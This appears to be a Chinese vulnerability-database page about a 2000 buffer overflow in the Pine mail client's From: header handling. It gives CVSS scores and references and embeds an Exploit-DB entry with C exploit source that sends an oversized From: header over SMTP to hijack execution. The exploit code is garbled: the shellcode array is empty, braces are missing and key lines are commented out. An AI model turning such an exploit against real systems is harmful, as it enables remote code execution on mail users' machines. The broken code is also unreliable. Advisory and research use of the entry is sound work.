发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:10

[原文]Buffer overflow in the automatic mail checking component of Pine 4.21 and earlier allows remote attackers to execute arbitrary commands via a long From: header.

[CNNVD]automatic mail checking component of Pine缓冲区溢出漏洞(CNNVD-200012-184)

        automatic mail checking component of Pine 4.21及其早期版本存在缓冲区溢出漏洞。远程攻击者可以借助超长From:头执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  pine-check-mail-bo
(UNKNOWN)  BUGTRAQ  20000922 [ no subject ]
(UNKNOWN)  BUGTRAQ  20001031 FW: Pine 4.30 now available

- 漏洞信息

automatic mail checking component of Pine缓冲区溢出漏洞
高危 缓冲区溢出
2000-12-19 00:00:00 2005-05-02 00:00:00
        automatic mail checking component of Pine 4.21及其早期版本存在缓冲区溢出漏洞。远程攻击者可以借助超长From:头执行任意命令。

- 公告与补丁


- 漏洞信息 (20237)

UoW Pine 4.0.4/4.10/4.21 "From:" Field Buffer Overflow Vulnerability (EDBID:20237)
linux remote
2000-09-23 Verified
0 Arkane
N/A [点击下载]

A buffer overflow vulnerability exists in the popular mail client Pine 4.21 (and possibly earlier versions), relating to the function which regularly checks for incoming email. In standard e-mail message headers is a field that holds the name and address of the sender. It typically looks like and is presented in pine like this:

From: username <user@host>

Pine does not check the length of the username value when copying it into a memory buffer of predefined length. As a result, if a large "from" value is sent in the email header, it can corrupt "internal" memory when the offending function is called and the oversized buffer is copied onto the stack. An attacker can overwrite the return address of the function on the stack with a value that points back into the buffer, to which the function would return. Arbitrary machine instructions placed on the stack would then be executed.

The real concern here is that this requires no user interaction to exploit.. a target need only be using a vulnerable version of pine. The overflow occurs when the user recieves new email. While typically not yielding root privileges (unless root reads email with pine AS root) this can be used by a remote, anonymous attacker to gain local access to the target host. 

                Arkane [bTm]

 ######### ### # ##  # # ## # # ## # # # #       #  #  #   ###   ## ##  */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
__asm__ ("mov %esp, %eax");

#define ADDRLEN 700 
#define EXECLEN 1000
#define NOP    0x90

char shellcode[] =

int main (int argc, char **argv)
  struct sockaddr_in server;
  struct hostent *hp;
  int s;
  char helo[100];
  char mail[100];
  char rcpt[100];
  char data[2500];
  char start[20];

  int offset = 0;
  unsigned long addr;
  int i;
  char *addrs,*exec;

  addrs = (char *) malloc (ADDRLEN);
  exec  = (char *) malloc (EXECLEN);

if(argc < 2)
     printf("   Usage: %s <Email Address> <offset>\n", argv[0]);
     printf("                                            \n\n");

     if (argc == 3)
       offset = atoi (argv[2]);

   //addr = get_sp () - offset; 

   addr = 0xbfffe7e2; //RH62


  //  for (i = 0; i < ADDRLEN ; i += 4)
    //   *(unsigned *) &addrs[i] = addr;

 //  memset(exec,0x90,EXECLEN); 

 //  memset(addrs+195,0x90,5);

 //  memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("")) == NULL) {
      printf ("Could not resolve\n");
      exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
      exit(1); }
  server.sin_family = AF_INET;
  server.sin_port = htons (25);
  server.sin_addr.s_addr = *(u_long *) hp->h_addr;
  bzero (&(server.sin_zero), 8);
if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
      printf ("Connection refused\n");
      exit(1); }

        sprintf (helo, "helo test\r\n");
        sprintf (mail, "mail from: %s\r\n",argv[1]);

        send (s, helo, strlen (helo), 0);
        send (s, mail, strlen (mail), 0);

        sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);

        send (s, rcpt, strlen (rcpt), 0);


        send (s, start, strlen (start), 0);

         fprintf(stderr," Message Sent! \n");

sprintf(data,"From: %s AAAAAAAA\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
        send (s, data, strlen (data), 0);

  close (s);


- 漏洞信息

Pine Automatic Mail Check From Header Overflow
Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-09-22 Unknow
2000-09-22 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete